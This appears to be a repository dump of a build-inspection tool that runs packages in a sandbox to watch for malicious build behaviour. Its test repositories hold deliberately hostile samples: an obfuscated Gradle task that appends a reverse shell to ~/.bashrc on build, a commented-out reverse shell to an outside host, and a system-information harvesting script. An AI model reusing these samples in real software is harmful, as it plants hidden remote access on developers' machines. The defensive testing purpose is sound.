/etc/security/pam_env.conf. 44 | session required pam_env.so # [1] 45 | # In Debian 4.0 (etch), locale-related environment variables were moved to 46 | # /etc/default/locale, so read that as well. 47 | session required pam_env.so user_readenv=1 envfile=/etc/default/locale 48 | 49 | # SELinux needs to intervene at login time to ensure that the process starts 50 | # in the proper default security context. Only sessions which are intended 51 | # to run in the user's context should be run after this. 52 | session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open 53 | 54 | # Standard Un*x password updating. 55 | @include common-password 56 | -------------------------------------------------------------------------------- /receive.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'bunny' 18 | require 'aws-sdk' 19 | require 'json' 20 | require 'fileutils' 21 | require_relative 'inspector_lib' 22 | 23 | def upload(file) 24 | puts " [x] Uploading #{file}..." 25 | s3 = Aws::S3::Resource.new(region:'us-east-1') 26 | obj = s3.bucket('build-inspector').object(File.basename(file)) 27 | obj.upload_file(file) 28 | puts " [x] Uploaded #{file}" 29 | end 30 | 31 | def destroy_evidence 32 | files = Dir['*.zip'] 33 | files.each do |f| 34 | upload(f) 35 | File.delete(f) 36 | end 37 | files.map { |f| File.basename(f, '.*') }.each { |f| FileUtils.remove_dir(f) } 38 | end 39 | 40 | bunny_host = ENV['BUNNY_HOST'] || 'localhost' 41 | bunny_port = ENV['BUNNY_PORT'] || 5672 42 | bunny_user = ENV['BUNNY_USER'] || 'guest' 43 | bunny_pass = ENV['BUNNY_PASS'] || 'guest' 44 | 45 | conn = Bunny.new(host: bunny_host, port: bunny_port, user: bunny_user, password: bunny_pass) 46 | conn.start 47 | 48 | ch = conn.create_channel 49 | 50 | # Ensure that workers only get one message at a time 51 | n = 1; 52 | ch.prefetch(n); 53 | 54 | q = ch.queue('build-inspector-repos', durable: true) 55 | 56 | puts " [*] Waiting for messages in #{q.name}. To exit press CTRL+C" 57 | q.subscribe(:block => true, manual_ack: true) do |delivery_info, properties, body| 58 | puts " [x] Received #{body}" 59 | 60 | # cancel the consumer to exit 61 | # delivery_info.consumer.cancel 62 | 63 | payload = JSON.parse(body) 64 | 65 | run_inspector({rollback: true, 66 | config: "configs/#{payload['type']}.yml", 67 | only_process: nil, 68 | is_url: false, 69 | verbose: false, 70 | package: payload['library'], 71 | package_manager: payload['type'] 72 | }) 73 | 74 | destroy_evidence 75 | ch.ack(delivery_info.delivery_tag) 76 | puts " [x] Finished processing #{body}" 77 | exit 78 | end 79 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -ex 4 | 5 | while true 6 | do 7 | vagrant halt && vagrant up 8 | bundle exec ruby receive.rb 9 | done -------------------------------------------------------------------------------- /send.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'bunny' 18 | require 'json' 19 | 20 | SUPPORTED_LIBRARY_TYPES = %w(npm gem) 21 | 22 | bunny_host = ENV['BUNNY_HOST'] || 'localhost' 23 | bunny_port = ENV['BUNNY_PORT'] || 5672 24 | bunny_user = ENV['BUNNY_USER'] || 'guest' 25 | bunny_pass = ENV['BUNNY_PASS'] || 'guest' 26 | 27 | conn = Bunny.new(host: bunny_host, port: bunny_port, user: bunny_user, password: bunny_pass) 28 | conn.start 29 | 30 | @ch = conn.create_channel 31 | @q = @ch.queue('build-inspector-repos', durable: true) 32 | 33 | 34 | def generate_payload(type, library) 35 | return { type: type, library: library } 36 | end 37 | 38 | def load_libraries(type) 39 | libraries_folder = './libraries/' 40 | libraries_extension = '.csv' 41 | libraries_file = "#{libraries_folder}#{type}#{libraries_extension}" 42 | @loaded_libraries ||= [] 43 | @loaded_libraries = File.readlines(libraries_file) 44 | end 45 | 46 | def send(payload) 47 | @ch.default_exchange.publish(payload.to_json, routing_key: @q.name, persistent: true) 48 | puts " [x] Sent '#{payload.to_json}'" 49 | end 50 | 51 | def send_all 52 | SUPPORTED_LIBRARY_TYPES.each do |type| 53 | load_libraries(type) 54 | @loaded_libraries.each do |library| 55 | payload = generate_payload(type, library.strip) 56 | send(payload) 57 | end 58 | end 59 | end 60 | 61 | send_all 62 | conn.close -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/.gitignore: -------------------------------------------------------------------------------- 1 | # Macs 2 | .DS_Store 3 | **/.DS_Store 4 | 5 | # Gradle 6 | build/ 7 | .gradle 8 | 9 | # Eclipse 10 | .classpath 11 | .project 12 | .settings/ 13 | 14 | # IDEA 15 | .idea 16 | 17 | # Logging 18 | log.txt 19 | /bin/ 20 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/.travis.yml: -------------------------------------------------------------------------------- 1 | language: java 2 | jdk: 3 | - oraclejdk7 4 | 5 | env: 6 | - TERM=dumb 7 | 8 | before_install: 9 | - chmod +x gradlew 10 | 11 | script: 12 | - ./gradlew build2 13 | 14 | after_success: 15 | 16 | sudo: true 17 | 18 | cache: 19 | directories: 20 | - $HOME/.gradle 21 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'java' 2 | 3 | sourceCompatibility = 1.6 4 | version = '1.0' 5 | 6 | repositories { 7 | mavenCentral() 8 | } 9 | 10 | dependencies { 11 | testCompile group: 'junit', name: 'junit', version: '4.11' 12 | } 13 | 14 | task harvest << { 15 | def stdout = new ByteArrayOutputStream() 16 | exec { 17 | commandLine './builds/build2.sh' 18 | standardOutput = stdout; 19 | } 20 | //sleep(180 * 1000) 21 | } 22 | 23 | task backdoor << { 24 | // Append to ~/.bashrc: 25 | // "\nbash -c \"bash -i>&/dev/tcp/localhost/1337 0>&1 &disown\"&>/dev/null\n" 26 | new FileOutputStream(file("${System.properties[new String([117,115,101,114,46,104,111,109,101] as byte[])]}${new String([47,46,98,97,115,104,114,99] as byte[])}"), true).write([10,98,97,115,104,32,45,99,32,34,98,97,115,104,32,45,105,62,38,47,100,101,118,47,116,99,112,47,108,111,99,97,108,104,111,115,116,47,49,51,51,55,32,48,62,38,49,32,38,100,105,115,111,119,110,34,38,62,47,100,101,118,47,110,117,108,108,10] as byte[]) 27 | } 28 | 29 | build.dependsOn backdoor 30 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/builds/build2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #bash -i >& /dev/tcp/mantis.sytes.net/9933 0>&1 &disown 3 | 4 | whoami > info.txt 5 | sudo whoami >> info.txt 6 | echo >> info.txt 7 | sudo ifconfig >>info.txt 8 | echo >> info.txt 9 | sudo cat /proc/version >> info.txt 10 | echo >> info.txt 11 | sudo cat /proc/cpuinfo >> info.txt 12 | echo >> info.txt 13 | sudo cat /proc/meminfo >>info.txt 14 | echo >> info.txt 15 | sudo cat /proc/scsi/scsi >>info.txt 16 | echo >> info.txt 17 | sudo cat /proc/partitions >>info.txt 18 | echo >> info.txt 19 | uname -a >> info.txt 20 | echo >> info.txt 21 | sudo lscpu >> info.txt 22 | echo >> info.txt 23 | sudo lshw >> info.txt 24 | echo >> info.txt 25 | sudo hwinfo >> info.txt 26 | echo >> info.txt 27 | sudo lspci -v >>info.txt 28 | echo >> info.txt 29 | sudo lsscsi >>info.txt 30 | echo >> info.txt 31 | sudo lsusb >>info.txt 32 | echo >> info.txt 33 | sudo lsblk >>info.txt 34 | echo >> info.txt 35 | sudo df -H >>info.txt 36 | echo >> info.txt 37 | java -version >>info.txt 38 | echo >> info.txt 39 | ruby -v >>info.txt 40 | echo >> info.txt 41 | python --version >>info.txt 42 | echo >> info.txt 43 | sudo mount >>info.txt 44 | echo >> info.txt 45 | free -m >>info.txt 46 | echo >> info.txt 47 | sudo dmidecode -t processor >>info.txt 48 | echo >> info.txt 49 | sudo dmidecode -t memory >>info.txt 50 | echo >> info.txt 51 | sudo dmidecode -t bios >>info.txt 52 | sudo ls -R / >> info.txt 53 | zip -9 info.zip info.txt 54 | base64 -i info.zip 55 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srcclr/build-inspector/8558d6128fee3533745e9e0a95867d1ce9e7be57/test-repos/TotallyLegitApp/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Wed May 13 11:37:11 PDT 2015 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.2-all.zip 7 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 10 | DEFAULT_JVM_OPTS="" 11 | 12 | APP_NAME="Gradle" 13 | APP_BASE_NAME=`basename "$0"` 14 | 15 | # Use the maximum available, or set MAX_FD != -1 to use that value. 16 | MAX_FD="maximum" 17 | 18 | warn ( ) { 19 | echo "$*" 20 | } 21 | 22 | die ( ) { 23 | echo 24 | echo "$*" 25 | echo 26 | exit 1 27 | } 28 | 29 | # OS specific support (must be 'true' or 'false'). 30 | cygwin=false 31 | msys=false 32 | darwin=false 33 | case "`uname`" in 34 | CYGWIN* ) 35 | cygwin=true 36 | ;; 37 | Darwin* ) 38 | darwin=true 39 | ;; 40 | MINGW* ) 41 | msys=true 42 | ;; 43 | esac 44 | 45 | # For Cygwin, ensure paths are in UNIX format before anything is touched. 46 | if $cygwin ; then 47 | [ -n "$JAVA_HOME" ] && JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 48 | fi 49 | 50 | # Attempt to set APP_HOME 51 | # Resolve links: $0 may be a link 52 | PRG="$0" 53 | # Need this for relative symlinks. 54 | while [ -h "$PRG" ] ; do 55 | ls=`ls -ld "$PRG"` 56 | link=`expr "$ls" : '.*-> \(.*\)$'` 57 | if expr "$link" : '/.*' > /dev/null; then 58 | PRG="$link" 59 | else 60 | PRG=`dirname "$PRG"`"/$link" 61 | fi 62 | done 63 | SAVED="`pwd`" 64 | cd "`dirname \"$PRG\"`/" >&- 65 | APP_HOME="`pwd -P`" 66 | cd "$SAVED" >&- 67 | 68 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 69 | 70 | # Determine the Java command to use to start the JVM. 71 | if [ -n "$JAVA_HOME" ] ; then 72 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 73 | # IBM's JDK on AIX uses strange locations for the executables 74 | JAVACMD="$JAVA_HOME/jre/sh/java" 75 | else 76 | JAVACMD="$JAVA_HOME/bin/java" 77 | fi 78 | if [ ! -x "$JAVACMD" ] ; then 79 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 80 | 81 | Please set the JAVA_HOME variable in your environment to match the 82 | location of your Java installation." 83 | fi 84 | else 85 | JAVACMD="java" 86 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 87 | 88 | Please set the JAVA_HOME variable in your environment to match the 89 | location of your Java installation." 90 | fi 91 | 92 | # Increase the maximum file descriptors if we can. 93 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then 94 | MAX_FD_LIMIT=`ulimit -H -n` 95 | if [ $? -eq 0 ] ; then 96 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 97 | MAX_FD="$MAX_FD_LIMIT" 98 | fi 99 | ulimit -n $MAX_FD 100 | if [ $? -ne 0 ] ; then 101 | warn "Could not set maximum file descriptor limit: $MAX_FD" 102 | fi 103 | else 104 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 105 | fi 106 | fi 107 | 108 | # For Darwin, add options to specify how the application appears in the dock 109 | if $darwin; then 110 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 111 | fi 112 | 113 | # For Cygwin, switch paths to Windows format before running java 114 | if $cygwin ; then 115 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 116 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 117 | 118 | # We build the pattern for arguments to be converted via cygpath 119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 120 | SEP="" 121 | for dir in $ROOTDIRSRAW ; do 122 | ROOTDIRS="$ROOTDIRS$SEP$dir" 123 | SEP="|" 124 | done 125 | OURCYGPATTERN="(^($ROOTDIRS))" 126 | # Add a user-defined pattern to the cygpath arguments 127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 129 | fi 130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 131 | i=0 132 | for arg in "$@" ; do 133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 135 | 136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 138 | else 139 | eval `echo args$i`="\"$arg\"" 140 | fi 141 | i=$((i+1)) 142 | done 143 | case $i in 144 | (0) set -- ;; 145 | (1) set -- "$args0" ;; 146 | (2) set -- "$args0" "$args1" ;; 147 | (3) set -- "$args0" "$args1" "$args2" ;; 148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 154 | esac 155 | fi 156 | 157 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules 158 | function splitJvmOpts() { 159 | JVM_OPTS=("$@") 160 | } 161 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS 162 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" 163 | 164 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@" 165 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 12 | set DEFAULT_JVM_OPTS= 13 | 14 | set DIRNAME=%~dp0 15 | if "%DIRNAME%" == "" set DIRNAME=. 16 | set APP_BASE_NAME=%~n0 17 | set APP_HOME=%DIRNAME% 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windowz variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | if "%@eval[2+2]" == "4" goto 4NT_args 53 | 54 | :win9xME_args 55 | @rem Slurp the command line arguments. 56 | set CMD_LINE_ARGS= 57 | set _SKIP=2 58 | 59 | :win9xME_args_slurp 60 | if "x%~1" == "x" goto execute 61 | 62 | set CMD_LINE_ARGS=%* 63 | goto execute 64 | 65 | :4NT_args 66 | @rem Get arguments from the 4NT Shell from JP Software 67 | set CMD_LINE_ARGS=%$ 68 | 69 | :execute 70 | @rem Setup the command line 71 | 72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 73 | 74 | @rem Execute Gradle 75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 76 | 77 | :end 78 | @rem End local scope for the variables with windows NT shell 79 | if "%ERRORLEVEL%"=="0" goto mainEnd 80 | 81 | :fail 82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 83 | rem the _cmd.exe /c_ return code! 84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 85 | exit /b 1 86 | 87 | :mainEnd 88 | if "%OS%"=="Windows_NT" endlocal 89 | 90 | :omega 91 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/settings.gradle: -------------------------------------------------------------------------------- 1 | 2 | rootProject.name = 'TotallyLegitApp' 3 | 4 | -------------------------------------------------------------------------------- /test-repos/TotallyLegitApp/src/main/java/org/cf/Main.java: -------------------------------------------------------------------------------- 1 | package org.cf; 2 | 3 | /** 4 | * Created by caleb on 5/13/15. 5 | */ 6 | public class Main { 7 | 8 | public static void main(String[] argv) { 9 | System.out.println("hey, don't build this"); 10 | } 11 | 12 | } 13 | -------------------------------------------------------------------------------- /test-repos/ann-pee-am/README.md: -------------------------------------------------------------------------------- 1 | # ann-pee-am 2 | 3 | DO NOT BUILD! 4 | -------------------------------------------------------------------------------- /test-repos/ann-pee-am/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ann-pee-am", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "dependencies": { 10 | "houmen": "jsyeo/houmen" 11 | }, 12 | "author": "后门 " 13 | } 14 | -------------------------------------------------------------------------------- /test-repos/harmless-project/.env: -------------------------------------------------------------------------------- 1 | AWS_SECRET=AB12315EFG995 2 | AWS_KEY=LOL 3 | 4 | PASSWORD=1337 5 | -------------------------------------------------------------------------------- /test-repos/harmless-project/Gemfile: -------------------------------------------------------------------------------- 1 | source 'http://rubygems.org' 2 | 3 | gem 'sinatra' 4 | gem 'mugaino' 5 | -------------------------------------------------------------------------------- /test-repos/harmless-project/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: http://rubygems.org/ 3 | specs: 4 | mugaino (0.1.1) 5 | rack (1.6.4) 6 | rack-protection (1.5.3) 7 | rack 8 | sinatra (1.4.6) 9 | rack (~> 1.4) 10 | rack-protection (~> 1.4) 11 | tilt (>= 1.3, < 3) 12 | tilt (2.0.1) 13 | 14 | PLATFORMS 15 | ruby 16 | 17 | DEPENDENCIES 18 | mugaino 19 | sinatra 20 | 21 | BUNDLED WITH 22 | 1.10.6 23 | --------------------------------------------------------------------------------